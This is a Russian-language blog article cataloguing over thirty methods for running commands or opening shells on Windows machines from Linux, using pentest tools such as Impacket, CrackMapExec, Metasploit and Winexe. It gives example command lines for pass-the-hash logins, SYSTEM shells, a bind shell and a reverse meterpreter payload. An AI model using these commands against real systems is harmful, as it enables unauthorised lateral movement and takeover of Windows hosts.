Удаленный доступ к системам Windows из Linux

Удаленный доступ к системам Windows из Linux

Эта статья содержит набор методов для подключения к удаленной системе Windows из Linux и примеры того, как выполнять команды на машинах Windows удаленно из Linux с помощью ряда различных инструментов. И мы рассмотрим как осуществлять удаленный доступ к системам Windows из Linux.

Она охватывает более 30 различных методов получения удаленной оболочки, удаленного выполнения команд или подключения к удаленному рабочему столу с использованием различных свободно доступных инструментов и утилит.

Существует множество различных инструментов, которые можно использовать для доступа к удаленному компьютеру с Windows из Linux и выполнения на нем команд. Вот список существующих инструментов, описанных в этой статье, которые можно использовать для этой задачи.

Инструменты для удаленной команды или удаленного доступа к оболочке:

  • Impacket
  • CrackMapExec
  • PTH Toolkit
  • Keimpx
  • Metasploit
  • Redsnarf
  • Winexe
  • SMBMap

Инструменты для удаленного графического отображения:

  • Rdesktop
  • FreeRDP (xfreerdp)
  • TightVNC (xtightvncviewer)
  • TigerVNC (xtigervncviewer)

Все эти инструменты имеют открытый исходный код и свободно доступны в любом дистрибутиве Linux (Kali, Ubuntu, Debian, Arch, CentOS, RedHat, Parrot ..), включая платформы на основе UNIX, такие как BSD, Mac OS X и многие другие.

Большинство этих инструментов работают путем подключения к порту SMB (tcp / 445) на удаленном компьютере с Windows, но некоторые из них также используют другие интерфейсы, такие как WMI, MMC, DCOM, NetBIOS и, конечно, RDP или VNC в случае подключение к удаленному (графическому) рабочему столу.

Более подробная информация об этом включена в обзорную таблицу ниже.

Обзорная таблица

В следующей таблице приводится сводка всех методов удаленного доступа, описанных в этой статье.

Вы можете увидеть, какой тип удаленного выполнения возможен с использованием каждого метода, а также подробную информацию о том, какие сетевые порты используются во время соединения.

Удаленный доступ к системам Windows из Linux

Удаленный доступ к системам Windows из Linux

Удаленный доступ к системам Windows из Linux

Методы удаленного доступа из командной строки

Этот раздел содержит все методы удаленного доступа к командной строке, которые можно использовать для удаленного выполнения команд на машине Windows из Linux, включая создание интерактивной оболочки (cmd.exe или powershell.exe).
 
ВАЖНО: Для использования этих методов необходимо предоставить учетные данные администратора. Это относится ко всем описанным ниже методам.
 
Теперь перейдем к реальным методам и приемам.
 

Impacket

Impacket— это библиотека Python для работы с различными сетевыми протоколами Windows. Он используется многими различными инструментами тестирования на проникновение и содержит ряд методов для выполнения команд на удаленных компьютерах с Windows.

Impacket dcomexec.py RCE example

Вот как мы можем использовать Impacket для выполнения команд в удаленной системе Windows:

1. Impacket psexec.py

Это создаст интерактивную удаленную оболочку с помощью метода Psexec:

psexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

psexec.py "./Administrator:pass123"@192.168.0.1

2. Impacket dcomexec.py

Это создаст полуинтерактивную удаленную оболочку с использованием DCOM:

dcomexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

dcomexec.py "./Administrator:pass123"@192.168.0.1

3. Impacket smbexec.py

Это создаст полуинтерактивную удаленную оболочку через встроенные функции Windows SMB:

smbexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

smbexec.py "./Administrator:pass123"@192.168.0.1

4. Impacket wmiexec.py

Это создаст полуинтерактивную удаленную оболочку с использованием WMI:

wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

wmiexec.py "./Administrator:pass123"@192.168.0.1

5. Impacket atexec.py

Это выполнит команду удаленно через Atsvc:

atexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET> <COMMAND>

atexec.py "./Administrator:pass123"@192.168.0.1 "whoami"

Примечание: Impacket также поддерживает метод аутентификации с использованием хеш-кода, что позволяет использовать NTLM-хэш вместо пароля. Вот пример с psexec.py:

psexec.py -hashes <LM>:<NTLM> <DOMAIN>/<USER>@<TARGET>

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 "./Administrator"@192.168.0.1

Подробную информацию об этих методах с еще большим количеством примеров и снимков экрана можно найти здесь.

CrackMapExec

CrackMapExec— это швейцарский армейский нож пентеста. Он имеет множество полезных функций и интегрируется с рядом других проектов по обеспечению безопасности, таких как Mimikatz, Empire, PowerSploit или Metasploit.

Он также содержит ряд методов для выполнения команд на удаленных машинах Windows.

CrackMapExec winrm RCE method utilizing PSRemoting

Вот как использовать CrackMapExec для выполнения команд в удаленных системах:

6. CrackMapExec wmiexec

Это выполнит команду (CMD / PowerShell) удаленно с помощью WMI:

crackmapexec smb -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET> crackmapexec smb -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1

7. CrackMapExec atexec

Это выполнит команду (CMD / PowerShell) удаленно через Atsvc:

crackmapexec smb --exec-method atexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>

crackmapexec smb --exec-method atexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1

8. CrackMapExec smbexec

Это выполнит команду (CMD / PowerShell) удаленно с использованием собственного SMB:

crackmapexec smb --exec-method smbexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>

crackmapexec smb --exec-method smbexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1

9. CrackMapExec mmcexec

Это выполнит команду (CMD / PowerShell) удаленно через MMC:

crackmapexec smb --exec-method mmcexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>

crackmapexec smb --exec-method mmcexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1

10. CrackMapExec winrm

Это выполнит команду (CMD / PowerShell) удаленно с помощью PSRemoting:

crackmapexec winrm -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>

crackmapexec winrm -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1

Примечание: Хотя CrackMapExec позволяет запускать команду только в удаленной системе, мы все равно можем использовать ее для создания интерактивной оболочки с помощью командлета обратной оболочки PowerShell (например, некоторых из них).

CrackMapExec также поддерживает передачу хэша NTLM вместо пароля (pass-the-hash). Вот пример с wmiexec:

crackmapexec smb -d <DOMAIN> -u <USER> -H <LM:NTLM> -x <COMMAND> <TARGET>

crackmapexec smb -d . -u Administrator -H aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 -x "cmd /c whoami" 192.168.0.1

Более подробную информацию о CrackMapExec с примерами и скриншотами можно найти здесь.

Набор инструментов PTH

PTH Toolkit — это набор утилит, созданный пионерами техники передачи хеширования. Он содержит ряд полезных инструментов для подключения к удаленным машинам Windows, некоторые из которых также предназначены для выполнения команд в удаленных системах Windows.

pth-winexe RCE command example

Вот как использовать все функции удаленного доступа PTH Toolkit:

11. PTH Toolkit: pth-winexe

Это создаст интерактивную удаленную оболочку с использованием метода, подобного Psexec:

pth-winexe -U <DOMAIN>\\<USER>%<PASSWORD> --uninstall //<TARGET> <COMMAND>

pth-winexe -U ".\Administrator%pass123" --uninstall //192.168.0.1 cmd

Обратите внимание, что с помощью параметра «–system» pth-winexe также может автоматически расширяться до учетной записи «nt Authority \ system».

12. PTH Toolkit: pth-wmis

Это выполнит команду удаленно с помощью WMI:

pth-wmis -U <DOMAIN>\\<USER>%<PASSWORD> //<TARGET> <COMMAND>

pth-wmis -U ".\Administrator%pass123" //192.168.0.1 'cmd.exe /c whoami'

Обратите внимание, что этот конкретный метод не возвращает выходные данные команды. Если нам нужен результат, мы должны получить его с помощью дополнительной утилиты pth-smbget.

Примечание: PTH Toolkit, конечно, также поддерживает предоставление хеш-кода NTLM вместо пароля (pass-the-hash). Вот пример с pth-winexe:

pth-winexe -U <DOMAIN>\\<USER>%<LM|NTLM> --uninstall //<TARGET> <COMMAND>

pth-winexe -U ".\Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76" --uninstall //192.168.0.1 cmd

Более подробную информацию о PTH Toolkit с примерами и скриншотами можно найти здесь:

Keimpx

Keimpx— это инструмент лаборатории NCC Group, разработанный для пентестинга сред Windows. Он имеет много интересных функций, таких как работа с общими сетевыми ресурсами или кустами реестра, сброс хэшей и удаленное извлечение файлов NTDS, и, конечно же, ряд методов для удаленного выполнения команд в системах Windows.

Keimpx svcshell remote semi-interactive shell

Вот как использовать Keimpx для удаленного выполнения команд.

Сначала нам нужно запустить Keimpx с целевым списком, к которому нужно подключиться. Здесь мы подключаемся к одной машине:

keimpx.py -D <DOMAIN> -U <USER> -P <PASSWORD> -t <TARGET>

keimpx.py -D . -U Administrator -P pass123 -t 192.168.0.1

Теперь будет интерактивное меню, в котором мы сможем выбрать, что мы хотим сделать.

Вот список всех поддерживаемых методов, доступных в меню для выполнения команд или создания оболочек:

13. Keimpx: svcexec

Это выполняет команду в удаленной системе с помощью службы Windows. Введите в меню:

svcexec <COMMAND>

svcexec "dir c:\users"

14. Keimpx: svcexec SERVER

Метод svcexec SERVER также выполняет команду, но он разработан для более ограниченных систем, в которых нет доступных для записи сетевых ресурсов:

svcexec <COMMAND> SERVER

svcexec "dir c:\users" SERVER

15. Keimpx: svcshell

Это создаст полуинтерактивную оболочку в удаленной системе с помощью службы Windows:

svcshell

16. Keimpx: svcshell SERVER

Svcshell также поддерживает режим СЕРВЕРА, который может порождать удаленную оболочку в более ограниченных системах без какого-либо доступного для записи сетевого ресурса:

svcshell SERVER

17. Keimpx: atexec

Это выполняет команду в удаленной системе через Atsvc:
 
atexec <COMMAND>
 
atexec "dir c:\users"
 
18. Keimpx: psexec
 
Этот метод может выполнять любую команду в удаленной системе, включая интерактивные команды, такие как cmd.exe или powershell.exe:
 
psexec <COMMAND>
psexec cmd.exe
psexec powershell.exe
 
19. Keimpx: bindshell
 
Этот метод порождает оболочку привязки на целевой машине Windows на выбранном TCP-порту:
 
bindshell <PORT>
 
bindshell 4444
 
Keimpx автоматически подключится к нему и предоставит нам удаленную оболочку.
 
Примечание: Keimpx также, конечно, поддерживает передачу хэшей NTLM вместо паролей для аутентификации (pass-the-hash). Вот как подключиться с помощью хеша:
 
keimpx.py -D <DOMAIN> -U <USER> --lm=<LM> --nt=<NTLM> -t <TARGET>
 
keimpx.py -D . -U Administrator --lm=aad3b435b51404eeaad3b435b51404ee --nt=5fbc3d5fec8206a30f4b6c473d68ae76 -t 192.168.0.1
 
Более подробную информацию о Keimpx с примерами и скриншотами можно найти здесь:
 

Metasploit

Metasploit Framework, вероятно, в представлении не нуждается. Это одна из наиболее всеобъемлющих платформ для тестирования на проникновение с более чем 4280 различными модулями и эксплойтами. Естественно, некоторые из этих модулей предназначены для выполнения команд в удаленных системах Windows.

Metasploit psexec reverse winhttps meterpreter

Вот как его использовать для удаленного выполнения.
 
Сначала нам нужно запустить msfconsole из командной строки, а затем мы можем использовать любой из следующих методов:
 
20. Metasploit: wmiexec

Модуль wmiexec использует WMI для выполнения команд в удаленной системе. Вот пример:

use auxiliary/scanner/smb/impacket/wmiexec

set RHOSTS <TARGET-IP>

set SMBUser Administrator

set SMBPass pass123

set SMBDomain .

set COMMAND "whoami"

run

21. Metasploit: dcomexec

Модуль dcomexec может выполнять команду в удаленной системе, используя различные объекты DCOM, такие как:

  • MMC20
  • ShellWindows
  • ShellBrowserWindow

Эти объекты можно выбрать, установив опцию OBJECT (установить OBJECT ..) в msfconsole.

Вот пример выполнения команды в удаленной системе с использованием метода dcomexec:

use auxiliary/scanner/smb/impacket/dcomexec

set RHOSTS <TARGET-IP>

set SMBUser Administrator

set SMBPass pass123

set SMBDomain .

set COMMAND "whoami"

run

22. Metasploit: psexec

Модуль Metasploit psexec может выполнять любую полезную нагрузку (например, обратную оболочку), используя следующие 4 метода:

  • PowerShell
  • Native upload
  • MOF upload
  • Command

Эти методы можно выбрать с помощью параметра target (установить цель 1-4) в msfconsole.

Вот пример получения обратной оболочки с использованием собственного метода загрузки:

use exploit/windows/smb/psexec

set RHOSTS <TARGET-IP>

set SMBUser Administrator

set SMBPass pass123

set SMBDomain .

set target 2

set payload windows/x64/meterpreter/reverse_winhttps

set LHOST <YOUR-IP>

set LPORT <PORT>

run

Примечание. Metasploit, конечно, поддерживает передачу хэшей NTLM для аутентификации вместо паролей (pass-the-hash). Чтобы использовать, просто установите параметр SMBPass следующим образом:

set SMBPass <LM>:<NTLM>

set SMBPass aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76

Более подробную информацию о возможностях Metasploit RCE с примерами и скриншотами можно найти здесь:

RedSnarf

RedSnarf — еще одна утилита для тестирования на проникновение и красной команды, разработанная лабораториями NCC Group. Он предлагает несколько уникальных функций для тестирования систем Windows на проникновение, включая ряд методов для удаленного выполнения команд.

Redsnarf RCE example spawning a SYSTEM shell

Вот как им пользоваться.

Сначала мы должны запустить RedSnarf с целью для подключения. Например:

redsnarf -H ip=<TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> -uD y

redsnarf -H ip=192.168.0.1 -d . -u Administrator -p pass123 -uD y

Теперь будет интерактивное меню, в котором мы сможем выбрать, что мы хотим сделать.

Существуют следующие 4 поддерживаемых метода выполнения команды или оболочки в целевой системе Windows:

23. RedSnarf: SYSTEM shell

Нажатие ‘s’ в меню вызовет интерактивную оболочку с привилегиями SYSTEM (nt Authority \ system) в удаленной системе с использованием метода, аналогичного Psexec.

24. RedSnarf: Admin shell

Нажатие ‘n’ в меню вызовет интерактивную оболочку, работающую в контексте предоставленного административного имени пользователя (без перехода на SYSTEM).

25. RedSnarf: WMI shell

Нажатие клавиши «w» в меню вызовет полуинтерактивную оболочку через WMI.

26. RedSnarf: XCOMMAND

Мы также можем просто выполнить предоставленную команду в удаленной системе, запустив RedSnarf следующим образом:

redsnarf -H ip=<TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> -uX <COMMAND>

redsnarf -H ip=192.168.0.1 -d . -u Administrator -p pass123 -uX "whoami"

Примечание. RedSnarf, естественно, также поддерживает передачу хэшей NTLM для аутентификации вместо паролей (pass-the-hash). Вот как подключиться с помощью хеша:

redsnarf -H ip=<TARGET> -d <DOMAIN> -u <USER> -p <LM>:<NTLM> -uD y

redsnarf -H ip=192.168.0.1 -d . -u Administrator -p aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 -uD y

Более подробную информацию о RedSnarf с примерами и скриншотами можно найти здесь:

Winexe

Winexe — это небольшая утилита Linux, предназначенная для удаленного выполнения команд в системах Windows по протоколу SMB. Он не выполняет многих других функций, но работает очень хорошо и имеет встроенную функцию Runas, которая иногда может оказаться весьма кстати.

Winexe remote shell

Вот все методы доступа к удаленным системам Windows с помощью Winexe:

27. Winexe

По умолчанию Winexe запускает команду удаленно, которая также может быть интерактивной командой, такой как cmd.exe или powershell.exe для получения оболочки:

winexe --uninstall -U <DOMAIN>/<USER>%<PASSWORD> //<TARGET> <COMMAND>

winexe --uninstall -U ./Administrator%"pass123" //192.168.0.1 cmd

28. Winexe: SYSTEM

Это выполнит предоставленные команды с правами СИСТЕМЫ (NT Authority \ system) в удаленной системе:

winexe --uninstall --system -U <DOMAIN>/<USER>%<PASSWORD> //<TARGET> <COMMAND>

winexe --uninstall --system -U ./Administrator%"pass123" //192.168.0.1 cmd

29. Winexe: RUNAS

Winexe также может выполнять команды под указанной учетной записью Windows в удаленной системе, выполняя автоматический вход в систему (Runas):
 
winexe --uninstall --runas=<DOMAIN>/<USER>%<PASSWORD> -U <DOMAIN>/<USER>%<PASSWORD> //<TARGET> <COMMAND>
 
winexe --uninstall --runas=./bob%secret123 -U ./Administrator%"pass123" //192.168.0.1 cmd
 
Встроенная функция Runas может быть особенно полезна в ситуациях, когда мы хотим выполнить что-то под определенным профилем пользователя.
 
Примечание. Winexe не имеет встроенной поддержки передачи хэша, но при установке пакета передачи хеша это становится возможным. Это связано с тем, что пакет передачи хэша содержит библиотеку с поддержкой передачи хэша и оборачивается вокруг Winexe через LD_PRELOAD.
 
Вот как передать Winexe хеш вместо пароля:
 
winexe --uninstall -U <DOMAIN>/<USER>%<LM><NTLM> //<TARGET> <COMMAND>
 
winexe --uninstall -U "./Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76" //192.168.0.1 cmd
 
Более подробную информацию о Winexe можно найти здесь:
 

SMBMap

SMBMap в первую очередь является перечислителем общих дисков SMB / CIFS, однако он также может выполнять команды в удаленной системе Windows.

SMBMap RCE example

30. SMBMap

Выполните команду в удаленной системе через собственный SMB:

smbmap -d <DOMAIN> -u <USER> -p <PASSWORD> -H <TARGET> -x <COMMAND>

smbmap -d . -u 'Administrator' -p 'pass123' -H 192.168.0.1 -x 'whoami'

Примечание. SMBMap также изначально поддерживает аутентификацию с использованием хэша. Вот как передать хэш в SMBMap:

smbmap -d <DOMAIN> -u <USER> -p <LM:NTLM> -H <TARGET> -x <COMMAND>

smbmap -d . -u 'Administrator' -p 'aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76' -H 192.168.0.1 -x 'whoami'

Мы также можем создать удаленную интерактивную оболочку с помощью SMBMap, аналогично CrackMapExec, выполнив командлет PowerShell (например, некоторые из них).

Более подробную информацию о SMBMap с примерами можно найти здесь:

Графические методы удаленного доступа

Этот раздел содержит методы подключения к удаленным системам Windows из Linux через графические пользовательские интерфейсы, такие как RDP или VNC.

Rdesktop

Rdesktop — популярный клиент RDP с открытым исходным кодом, поддерживающий большинство операционных систем Windows, официально до Windows Server 2012 RDS. Он имеет множество полезных функций, включая поддержку сетевых дисков, мультимедиа и перенаправление USB, двунаправленный буфер обмена и многое другое. В настоящее время этот проект ищет нового сопровождающего.

31. Rdesktop

Вот как открыть сеанс RDP на удаленном компьютере с Windows с помощью rdesktop:

rdesktop -d <DOMAIN> -u <USER> -p <PASSWORD> <TARGET>

rdesktop -d . -u bob -p pass123 192.168.0.1

Вот несколько полезных опций rdesktop:

Удаленный доступ к системам Windows из Linux

FreeRDP

FreeRDP — еще один очень популярный клиент RDP для Linux (xfreerdp), который также имеет много интересных функций, таких как поддержка сетевых дисков, мультимедиа и перенаправление USB, двунаправленный буфер обмена, а также многое другое.

32. FreeRDP: xfreerdp

Вот как открыть сеанс RDP на удаленном компьютере с Windows с помощью xfreerdp:

xfreerdp /d:<DOMAIN> /u:<USER> /p:<PASSWORD> /v:<TARGET>

xfreerdp /d:. /u:bob /p:pass123 /v:192.168.0.1

Вот несколько полезных опций xfreerdp:

Удаленный доступ к системам Windows из Linux

Примечание. FreeRDP также поддерживает передачу хэшей NTLM вместо паролей (pass-the-hash), вот как это использовать:

xfreerdp /d:<DOMAIN> /u:<USER> /pth:<NTLM> /v:<TARGET>

xfreerdp /d:. /u:bob /pth:D0F2E311D3F450A7FF2571BB59FBEDE5 /v:192.168.0.1

Однако это работает только в Windows 2012 R2 и Windows 8.1 (подробности здесь).

TightVNC

TightVNC— это легкое программное обеспечение VNC с клиентом для Linux (xtightvncviewer), которое обеспечивает быстрый и надежный способ подключения ко всем типам серверов VNC, а не только к тем, которые работают в Windows.

33. TightVNC: xtightvncviewer

Вот как открыть соединение VNC с удаленным компьютером с Windows с помощью xtightvncviewer:

xtightvncviewer <TARGET>

xtightvncviewer 192.168.0.1

Нам будет предложено пройти аутентификацию, если она потребуется.

Вот несколько полезных опций xtightvncviewer:

Удаленный доступ к системам Windows из Linux

TigerVNC

TigerVNC— еще одно популярное программное обеспечение VNC с клиентом Linux (xtigervncviewer) со множеством полезных функций. Например, он поддерживает буфер обмена, расширенные методы аутентификации, шифрование TLS и другие вещи.

Вот как им пользоваться.

34. TigerVNC: xtigervncviewer

Вот как открыть соединение VNC с удаленным компьютером с Windows с помощью xtigervncviewer:

xtigervncviewer <TARGET>

xtigervncviewer 192.168.0.1

Нам будет предложено пройти аутентификацию, если она потребуется.

Вот несколько полезных опций xtigervncviewer:
 
 

Заключение

Вы также можете подключиться к удаленному компьютеру под управлением Windows безо всяких шагов по персонализации. Однако это означает, что вам придется перенастроить профиль подключения к удаленному рабочему столу при следующем удаленном управлении вашим ПК с Windows. Безлимитный интернет-тариф с высокой скоростью подключения упростил администрирование компьютеров. Сегодня все больше и больше помощи пользователям предоставляется удаленно. Это удобно тем, что вам не придется тратить время на поездки, а связь возможна практически круглосуточно.

 
 
 

 

 

 
 

 

 

 

 

 

 

 

 

 

 

 
 
 
 
 
 
 
 

 

 

 

 

 
 

 

 

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.